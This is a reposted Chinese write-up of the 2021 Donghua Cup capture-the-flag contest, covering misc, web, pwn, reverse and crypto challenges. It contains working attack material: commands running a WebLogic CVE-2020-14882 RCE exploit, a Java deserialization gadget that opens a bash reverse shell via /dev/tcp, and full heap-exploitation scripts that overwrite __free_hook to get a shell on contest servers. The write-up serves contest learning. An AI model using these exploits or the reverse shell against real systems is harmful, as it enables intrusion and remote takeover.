2021年全國大學生網路安全邀請賽暨第七屆"東華杯"上海市大學網格全大賽Writeup

Misc

checkin

題目給了+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0- 是UTF-7編碼，解碼得到flag

flag為：

flag{dhb_7th}

project

下載附件，解壓之后發現這是道工控題目，但是解壓之后里面有一個壓縮包problem_bak.zip

解壓得到你來了~

這里面一共有三段資料，第一段是base64編碼

6KGo5oOF5YyF5paH5YyW77yM5piv6ZqP552A572R57uc56S+5Lqk5rKf6YCa55qE5aKe5aSa5Ye6
546w55qE5LiA56eN5Li75rWB5paH5YyW44CC5LiA5Liq5Lq655qE6KGo5oOF5YyF5piv5YW26ZqQ
6JeP6LW35p2l55qE55yf5oiR77yM5LiA5Liq5Zu95a6255qE6KGo5oOF5YyF6YeM6IO955yL5Yiw
6L+Z5Liq5Zu95a6255qE6KGo5oOF44CC4oCM4oCM4oCM4oCM4oCN4oCs4oCs4oCM5pyJ5pe25YCZ
77yM6KGo5oOF5YyF6KGo6L6+55qE5piv5LiN6IO96YGT56C055qE55yf5a6e5oOz5rOV5ZKM5oSf
5Y+X77yM6K+t6KiA5ZKM5paH5a2X55qE5bC95aS077yM5bCx5piv6KGo5oOF5YyF5pa95bGV55qE
56m66Ze044CCDQrooajmg4XljIXmmK/nvZHnu5zor63oqIDnmoTkuIDnp43ov5vljJbvvIzlroPn
moTkuqfnlJ/lkozmtYHooYzkuI7lhbbnibnlrprnmoTigJzigIzigIzigIzigIzigI3vu7/igI3i
gI3nlJ/lrZjnjq/looPigJ3mnInlhbPjgILlhbbov73msYLphpLnm67jgIHmlrDlpYfjgIHosJDo
sJHnrYnmlYjmnpznmoTnibnngrnvvIzigIzigIzigIzigIzigI3vu7/igIzigKzkuI7lubTovbvk
urrlvKDmiazkuKrmgKflkozmkJ7mgKrnmoTlv4PnkIbnm7jnrKbigIzigIzigIzigIzigI3vu7/i
gIzigKzjgIINCuihqOaDheWMheS5i+aJgOS7peiDveWkn+Wkp+iMg+WbtOWcsOS8oOaSre+8jOKA
jOKAjOKAjOKAjOKAje+7v+KArOKAjeaYr+WboOS4uuWFtuW8peihpeS6huaWh+Wtl+S6pOa1geea
hOaer+eHpeWSjOaAgeW6puihqOi+vuS4jeWHhuehrueahOW8seeCue+8jOacieaViOWcsOaPkOmr
mOS6huayn+mAmuaViOeOh+OAgumDqOWIhuihqOaDheWMheWFt+acieabv+S7o+aWh+Wtl+eahOWK
n+iDve+8jOKAjOKAjOKAjOKAjOKAje+7v+KAjeKAjei/mOWPr+S7peiKguecgeaJk+Wtl+aXtumX
tOKAjOKAjOKAjOKAjOKAje+7v+KAjOKAjOOAgumaj+edgOaZuuiDveaJi+acuueahOWFqOmdouaZ
ruWPiuWSjOekvuS6pOW6lOeUqOi9r+S7tueahOWkp+mHj+S9v+eUqO+8jOihqOaDheWMheW3sue7
j+mrmOmikeeOh+WcsOWHuueOsOWcqOS6uuS7rOeahOe9kee7nOiBiuWkqeWvueivneW9k+S4reOA
gg0K

解碼得到：

表情包文化，是隨著網路社交溝通的增多出現的一種主流文化，一個人的表情包是其隱藏起來的真我，一個國家的表情包里能看到這個國家的表情，????????有時候，表情包表達的是不能道破的真實想法和感受，語言和文字的盡頭，就是表情包施展的空間，
表情包是網路語言的一種進化，它的產生和流行與其特定的“???????生存環境”有關，其追求醒目、新奇、諧謔等效果的特點，???????與年輕人張揚個性和搞怪的心理相符???????，
表情包之所以能夠大范圍地傳播，???????是因為其彌補了文字交流的枯燥和態度表達不準確的弱點，有效地提高了溝通效率，部分表情包具有替代文字的功能，???????還可以節省打字時間???????，隨著智能手機的全面普及和社交應用軟體的大量使用，表情包已經高頻率地出現在人們的網路聊天對話當中，

通過這解碼得到的結果可以明顯的觀察到有隱藏字符

通過解0寬字符得到hurryup，很明顯這應該是某個地方的密鑰，但現在暫時還未遇到，繼續往下看

在線解0寬字符的網址：https://330k.github.io/misc_tools/unicode_steganography.html

第二部分說了是quoted-printable加密，編碼方式是，在線解密得到

其中的文字是跟第一段base64的文字相吻合的，

第三段說了是jpg圖片，并且是base64加密的資料

這段base64資料是沒有添加資料頭的，自行補上data:image/jpg;base64,，然后轉為圖片得到這張圖

用010打開，發現圖片結尾FF D9之后是有多余的資料的

最終發現是OurSecret隱寫，因為用這個軟體打開，如果圖片不是OurSecret隱寫，那么將不會顯示資料大小的

這里顯示了資料的大小，也就證實了是OurSecret隱寫，密鑰就是第一段0寬解密出來得到的hurryup

所以flag為：

flag{f3a5dc36-ad43-d4fa-e75f-ef79e2e28ef3}

JumpJumpTiger

jump.exe打開ida，查看到hint

int  main(int argc, const char **argv, const char **envp)
{
	int v4[100]; // [rsp+20h] [rbp-60h]
	int v5[101]; // [rsp+1B0h] [rbp+130h]
	int v6; // [rsp+344h] [rbp+2C4h]
	int v7; // [rsp+348h] [rbp+2C8h]
	int i; // [rsp+34Ch] [rbp+2CCh]

	printf("This is your hint!!!");
	v7 = 0;
	v6 = 0;
	for (i = 0; i <= 99; ++i)
	{
		if (i & 1)
			v4[v6++] = i;
		else
			v5[v7++] = i;
	}
	return 0;
}

大致意思，奇偶分離，

查看jump.exe內碼，發現大量疑似base64編碼，直接提取

/i9VjB/O4RAwA0QKSGkgZoJARAgAAABNASQUEhAEAUQgAABAABA4DA/A2AwABQD4ACAAUIDABAAAQBEnAswVUYEUBAAAQAFgBAQEUlGEBQwVwRI4BAwWcTHBBQwZ8YLsC5w5kaMcE1Q88/SsEuhCEcPAEURvEOTfFFhdwUXiERx8QBaaFaRqEtRBGsCtE7YNG+hI08dZHIxx8xfIE6xtcbiSJ3CvIrevJ/B/wWe/H9xA7f/Q2NwkBnDbAJQJUJFsBXQ9ccG1BMw74aIBCtAr4veLFQBxEKU/HShZ4ee3HChm4xefHYhk4CeAH/hN42eqHrhT...共八百萬字符

直接嘗試奇偶分離

file = open("in.txt")
file2 = open("out.txt","r+")
for line in file:
    tmp = line
    print(tmp)
    s = ''
    for i in range(len(tmp)):
        if i & 2 == 1:
        #if i % 2 == 1:
            s += tmp[i]
    file2.write(s)
    print(len(s))

剛好拿到兩串base64編碼均以=號結尾

/9j/4AAQSkZJRgABAQEAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCAQ4B4ADAREAAhEBAxEB/8QAHQAAAgIDAQEBAAAAAAAAAAAAAQIAAwQFBgcICf/EAEUQAQABAwMDAwMDAwMDAwECDwECAAMRBBIhBTFBBiJR...共四百萬字符

分別解碼，得到了一張jpg和一張png，兩張圖片看起來是一樣的，很明顯就是盲水印了，直接使用命令：

python bwmforpy3.py decode 2.jpg 2.png flag.png

得到flag.png，打開即能看到flag

flag為：

flag{72f73bbe-9193-e59a-c593-1b1cb8f76714}

Web

apacheprOxy

打開附件，發現這是Weblogic

Weblogic有一個cve-2020-14882遠程命令執行漏洞，GitHub上有現成的exp

EXP地址：https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2020-14882_rce.py

因為開了反代，直接訪問就進了i春秋官網了，抓個包獲取一下真實的題目環境地址

使用命令:

python 1.py -u "http://47.104.100.25:7410/" -c "ls /"

然后直接cat /flag：

python 1.py -u "http://47.104.100.25:7410/" -c "cat /flag"

所以flag為：

flag{da77ef49-5958-40d5-b426-664b8299e576}

EzGadget

開始審計，IndexController.java

.....
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }
.....

繞過這里再輸出流再

oos.writeUTF("gadgets");
oos.writeInt(2021);

就好了

ToStringBean.java

public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object var3 = null;

        try {
            var3 = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }

可以看到加載了位元組碼，這里加載位元組碼的函式是toString，cc5鏈的BadAttributeValueExpException的readobject方法正好呼叫了toString，該類是jdk自帶的，并且引數可控

import com.ezgame.ctf.tools.ToStringBean;
import ezgame.ctf.bean.User;


import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws Exception {
        InputStream inputStream = evil.class.getResourceAsStream("evil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);

        ToStringBean sie =new ToStringBean();
        Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
        Reflections.setAccessible(bytecodes);
        Reflections.setFieldValue(sie,"ClassByte",bytes);

        BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
        Reflections.setFieldValue(exception,"val",sie);
				String a=Serialize.serialize(exception);
        System.out.print(a);

    }
}

加載的位元組碼類

class exp{

static {
try {
	Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
	}
	catch(){
	}
}

}

這里進一下if

writeUTF("gadgets");
writeInt(2021);

生成的payload可以直接打，之后vps監聽收到反彈的shell

Pwn

cpp1

2.31 漏洞點在edit里，可以造成溢位
用0x80的chunk填滿tcache后溢位打size
造成堆快重疊，并且釋放重疊的堆塊進unsortedbin
然后show出libc 后面就正常的tcache attack 溢位打freehook為system getshell

Exp如下：

from pwn import*

context.log_level = "debug"

#io = process("./pwn")
io = remote("47.104.143.202","43359")

def menu(choice):
	io.sendlineafter(">>",str(choice))

def add(index,size):
	menu(1)
	io.sendlineafter(">>",str(index))
	io.sendlineafter(">>",str(size))

def edit(index,content):
	menu(2)
	io.sendlineafter(">>",str(index))
	io.sendlineafter(">>",content)

def show(index):
	menu(3)
	io.sendlineafter(">>",str(index))

def delete(index):
	menu(4)
	io.sendlineafter(">>",str(index))

def look():
	global io
	gdb.attach(io)

for i in range(0,7):
	add(i,0x80)

add(7,0x18)
add(8,0x50)
add(9,0x20)
add(10,0x30)

edit(7,b"a"*0x10 + p64(0) + b"\x91")

for i in range(0,7):
	delete(i)

delete(8)

for i in range(0,7):
	add(i,0x80)

add(8,0x50)
show(9)

info = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = info - 96 - 0x10
libc = ELF("./libc-2.31.so")
libc_base = malloc_hook - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook:"+hex(free_hook))
system = libc_base + libc.sym["system"]

add(11,0x20)

add(12,0x18)
add(13,0x18)
add(14,0x18)

delete(12)
delete(14)
edit(13,p64(0)*3 + p64(0x21) + p64(free_hook))

add(14,0x18)
add(15,0x18)

edit(15,p64(system))
edit(14,"/bin/sh\x00")

delete(14)

io.interactive()

flag為：

flag{96f7801e4e658271915cf5ab3aa26ee6}

bg3

泄露libc：因為可以申請大chunk，于是
釋放一個>0x420chunk 進unsortedbin 然后申請回來直接show得到libc
get shell ：漏洞點在add里面相同index的size可以疊加
于是通過溢位打free_hook為system get shell

Exp如下：

from pwn import*

context.log_level = "debug"

io = remote("47.104.143.202","25997")
#io = process("./pwn")

def menu(choice):
	io.sendlineafter("Select:",str(choice))

def add(index,size): 
	menu(1)
	io.sendlineafter("Index:",str(index))
	io.sendlineafter(":",str(size))

def edit(index,content):
	menu(2)
	io.sendlineafter("Index:",str(index))
	io.sendlineafter("BugInfo:",content)

def show(index):
	menu(3)
	io.sendlineafter("Index:",str(index))

def delete(index):
	menu(4)
	io.sendlineafter("Index:",str(index))

def look():
	global io
	gdb.attach(io)

add(0,0x420)
add(1,0x18)
delete(0)
add(0,0x420)
show(0)
info = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(info))
libc = ELF("./libc-2.31.so",checksec = 0)
malloc_hook = info - 96 - 0x10
libc_base = malloc_hook - libc.sym["__malloc_hook"]
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

add(2,0x18) #fuck!
delete(2)
add(2,0x18)
delete(2)
add(2,0x18)
delete(2)
add(2,0x18)

add(3,0x18)
add(4,0x18)
delete(4)
delete(3)
edit(2,p64(0)*4 + p64(free_hook))
add(5,0x18)
add(6,0x18)
edit(6,p64(system))
edit(5,b"/bin/sh\x00")
delete(5)

io.interactive()

flag為：

flag{7240aca686aa4bc4d7697b2d7b5c7655}

gcc2

漏洞點在Remove里，有uaf，
leak_libc : 通過uaf首先泄露堆地址
然后改tcache的fd指標指向原本地址+0x10處
再申請回來時，可以造成堆快向下的0x10溢位，溢位改size為0xe1
然后對0xe1的chunk進行edit繞過double free check
把該chunk釋放7次進tcache中
再釋放一次進入unsortedbin show得到libc
最后利用uaf直接tcache attack打free_hook為system get shell.

from pwn import*

context.log_level = "debug"

#io = process("./pwn")
io = remote("47.104.143.202","15348")

def menu(choice):
	io.sendlineafter(">>",str(choice))

def add(index,size):
	menu(1)
	io.sendlineafter(">>",str(index))
	io.sendlineafter(">>",str(size))

def edit(index,content):
	menu(2)
	io.sendlineafter(">>",str(index))
	io.sendlineafter(">>",content)

def show(index):
	menu(3)
	io.sendlineafter(">>",str(index))

def delete(index):
	menu(4)
	io.sendlineafter(">>",str(index))

def look():
	global io
	gdb.attach(io)

add(0,0x60)
add(1,0x60)
add(2,0x60)
add(3,0x60)
add(4,0x18)

delete(1)
edit(1,p64(0)+p64(0x71))
delete(0)
show(0)
io.recvuntil("\n")
chunk_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(chunk_addr))
fake_addr = chunk_addr + 0x10
print(hex(fake_addr))
edit(0,p64(fake_addr))

add(5,0x60)
add(6,0x60)
edit(6,b"a"*0x58 + b"\xe1")

for i in range(0,7):
	edit(2,p64(0)*2)
	delete(2)

edit(2,p64(0)*2)
delete(2)
show(2)
info = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(info))

libc = ELF("./libc-2.31.so",checksec = 0)
malloc_hook = info - 96 - 0x10
libc_base = malloc_hook - libc.sym["__malloc_hook"] 
free_hook = libc_base + libc.sym["__free_hook"]
system =  libc_base + libc.sym["system"]

add(9,0x18)
add(10,0x18)
delete(9)
delete(10)
edit(10,p64(free_hook))
add(11,0x18)
add(12,0x18)

edit(12,p64(system))
add(13,0x18)
edit(13,b"/bin/sh\x00")
delete(13)
io.interactive()

flag為：

flag{c9749ef8cbfdc4fc56542daea489a71c}

boom_script

這題是c解釋器有關的題，正好前一段時間有師傅給我發了類似的題，這題是uaf的漏洞，通過字串的變換可以進行堆塊的申請與釋放，來進行泄露和getshell

Exp：

from pwn import*

context.log_level = "debug"

#io = process("./boom_script")
io = remote("47.104.143.202","41299")

def look():
	global io
	gdb.attach(io)

def shell(payload):

	io.recvuntil("$")
	io.sendline(str(1))
	io.recvuntil('length:')
	io.sendline(str(len(payload)))
	io.recvuntil('code:')
	io.send(payload)


def main():
	#the code to leak main_arena + offset and to fuck the libc
	payload="""
    a="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
	b=a;
	a="bbbbbb";
	c=0;
	prints(b);
	array arr[20];
	arr[0]=1193046;
	arr[1]=1193046;
	b="asdasd";
	a1="cccccccc";
	a2="cccccccc";
	a3="cccccccc";
	a3="cccccccc";
	a4="cccccccc";
	a5="cccccccc";
	a9="cccccccc";
	tc="sssssssssssssssssssssssssssssssssssssssssssssssss";
	a6="sssssssssssssssssssssssssssssssssssssssssssssssss";
	a7="/bin/sh";
	a8="/bin/sh";
	a6="ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss";
	tc="ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss";
	prints("dddddd");
	inputn(c);
	arr[0]=c;
	arr[1]=c;
	tc1="sssssssssssssssssssssssssssssssssssssssssssssssss";
	array arr1[1];
	prints("dddddd");
	inputn(c);
	arr1[0]=c;
	a7="aaa";
	inputn(c);
    """

	shell(payload)
	libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebbe0
	libc=ELF('./libc.so.6',checksec = 0)
	success("libc_base"+hex(libc_base))

	free_hook=libc_base+libc.sym['__free_hook']
	system=libc_base+libc.sym['system']
	success("free_hook:"+hex(free_hook))
	success("system:"+hex(system))

	#fuck the free_hook to the system
	io.sendlineafter("dddddd\n",str(free_hook-0x28))
	io.sendlineafter("dddddd\n",str(system))

	io.interactive()

if __name__ == '__main__':
	main()

flag為：

flag{35f2d3a9-bddc-9ffe-e8f7-ab999010b196}

Reverse

ooo

送分題，就是做慢了，嗚嗚嗚

照著搞就行了，一如既往，偷懶，暴力跑

flag為:

flag{13f35663-50a4-477b-278b-b711026ff7ad}

mod

這道題關鍵是花指令的去除,偷偷懶，只去除演算法段，丟IDA F5

好了，base魔改，懶得分析演算法,直接暴力跑

flag:

flag{5a073724-8223-413d-11fa-d53b133df89e}

Hell’s Gate

剛開始拿到這題，看到了很多個0x100感覺是RC4，就很激動（秒了,秒了）,根據習慣，我還是先爆破，再來分析演算法,單步到如下圖的時候，發現這里一直指標例外，說明有例外處理之類的東西，然后果然，，，，

跟到00416F90函式，上面有部分貌似是反除錯（反正沒檢測到我OD，估計是檢測windbg之類的），能處理就處理吧，不過多闡述，找到演算法段，發現了些奇奇怪怪的東西，類似于下圖還有很多種這個代碼，

Retf顧名思義，能給cs暫存器賦值，而cs暫存器為23的時候代表是32位匯編模式，33的時候則是64匯編模式，所以下面的匯編代碼是64位的，windbg貌似也不能除錯起來（也懶得找原因，好像是例外）因為每個64位匯編call代碼量普遍不多，我就用CE去看匯編代碼，逐個分析功能，如下圖，就是個指標賦值call，經過一段時間分析，發現是tea演算法

腳本如下：

flag為：

flag{0f4d0db3-668d-d58c-abb9-eb409657eaa8}

hello

呼叫JNI

String2 可以用log找到

So代碼

腳本如下：

raw_sign = '308202e4308201cc020101300d06092a864886f70d010105050030373116301406035504030c0d416e64726f69642044656275673110300e060355040a0c07416e64726f6964310b30090603550406130255533020170d3231303330363134333034385a180f32303531303232373134333034385a30373116301406035504030c0d416e64726f69642044656275673110300e060355040a0c07416e64726f6964310b300906035504061302555330820122300d06092a864886f70d01010105000382010f003082010a0282010100cbf2b09e4308ebb459e8841e5a7b920497fef2b349e80648f7eb35f48d40a75e7ce7945b8b42d197bec0bf177e6c9899ed707dcc4a726cb14c1a69b0c4a02474806fa73cfb10e10f7b1665021c24762b6edad65ca63cea3c72e0d4e4ca3f98301173eec3254337af1f5a11f779ecbe04d1b74d53f5835e011222155a56f97e00d75374cd93080dfa087cd356a99fe1eebf5d6d5e31846aad5252c3a17a4656e2e210ce1c7aa4d147fb8cf440a50add61bbb2ec299a2e0dab0b4504796ac3a899da553ab1d83576691ab23409d18398014b3b5eaf12e83f4d99aa09e1e4e4cae133530730c1133da2b3dee37b58eb1a5795b221ec5a8830731a41167d295f9e1b0203010001300d06092a864886f70d010105050003820101000e4740235e9cf2be33de3e06d777139cbbc5cf0622285c17da04697b8067318aaf8df0fbb4d3166f293ea15aa2592f06eb6929af063722ac9f30ad85e2c087564931d6ac65fcd5fbc864b3dc9841e039c6e1d5fbc5c2f8adf90a547bc4ebc07d387914db24451c2cc89925359bd3bb0750c7aabf9d743b1893e98bbc8ff74b24fc0b4be2dbaaf1c917bba01496d0617ffc3a4a8b7a6e79a3036298a6ebf57bb00001e43a0b242864eebb0fcec9e323144d4447c878430f18e6e358ad97566fa04d1f07b171c1476c9af5a1eba0bf6616e219c0b9e1299d09fecded24a880397f92e0f99d8951228c7770c184fd77adff943bfc8b6aa524c5f0a6d7686fe35486'
enc = [0xCA, 0xEB, 0x4A, 0x8A, 0x68, 0xE1, 0xA1, 0xEB, 0xE1, 0xEE,
	   0x6B, 0x84, 0xA2, 0x6D, 0x49, 0xC8, 0x8E, 0x0E, 0xCC, 0xE9,
	   0x45, 0xCF, 0x23, 0xCC, 0xC5, 0x4C, 0x0C, 0x85, 0xCF, 0xA9,
	   0x8C, 0xF6, 0xE6, 0xD6, 0x26, 0x6D, 0xAC, 0x0C, 0xAC, 0x77,
	   0xE0, 0x64]

for i in range(0, 42):
	enc[i] = (enc[i] << 3 & 0xff) + (enc[i] >> 5 & 0xff)
flag = ""
for i in range(len(enc)):
	index = i * 27 + 327
	magic = ord(raw_sign[index]) + i
	flag += chr(magic ^ enc[i])
print flag

flag為：

flag{d5577edd-8211-7a0e-f23a-305b0b10683f}

Crypto

BlockEncrypt

反編譯，得到不完整的加密函式，可以發現是aes，然后解密

腳本如下：

from pwn import *
import hashlib
import string


s="flag{abcdef0123456789-}"

def f(a,b):
	m=[]
	for i in range(10):
		m.append(str(i))
	for i in range(26):
		m.append(chr(i+0x41))
		m.append(chr(i+0x61))
	for i in m:
		for j in m:
			for k in m:
				for p in m:
					t=i+j+k+p+a
					if(hashlib.sha256(t.encode()).hexdigest()==b):
						print("find")
						return t[:4]


sh=remote("47.104.183.8","47971")
sh.recvuntil(b"X+")
a=(sh.recvuntil(b")",drop=True).decode())

sh.recvuntil(b"== ")
b=(sh.recvuntil(b"\n",drop=True).decode())
sh.send(f(a,b).encode())
sh.recv()
print(sh.recv().decode())

sh.send(b'1')
sh.recv()
sh.recvuntil(b"\n",drop=True)
flag=(sh.recvuntil(b"\n[+]",drop=True))
print()

t=0
r=""
while 1:
	for i in s:
		m=r+i
		m=m.encode()
		sh.send(b'2')
		sh.send(m)
		sh.recv()
		sh.recv()
		sh.recvuntil(b"CipherText:",drop=True)
		c=(sh.recvuntil(b"\n[+]",drop=True))
		if(c[t]==flag[t]):
			r=r+i
			t+=1
			print(r)

flag為：

flag{ad7e9276-de18-52b8-8c1c-3db559274f2d}

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/344131.html

標籤：其他

上一篇：云棲新品|阿里云IoT發布云芯一體智能視覺解決方案

下一篇：系統安全之防火墻

2021年全國大學生網路安全邀請賽暨第七屆“東華杯“上海市大學生網路安全大賽Writeup

2021年全國大學生網路安全邀請賽暨第七屆"東華杯"上海市大學網格全大賽Writeup

Misc

checkin

project

JumpJumpTiger

Web

apacheprOxy

EzGadget

Pwn

cpp1

bg3

gcc2

boom_script

Reverse

ooo

mod

Hell’s Gate

hello

Crypto

BlockEncrypt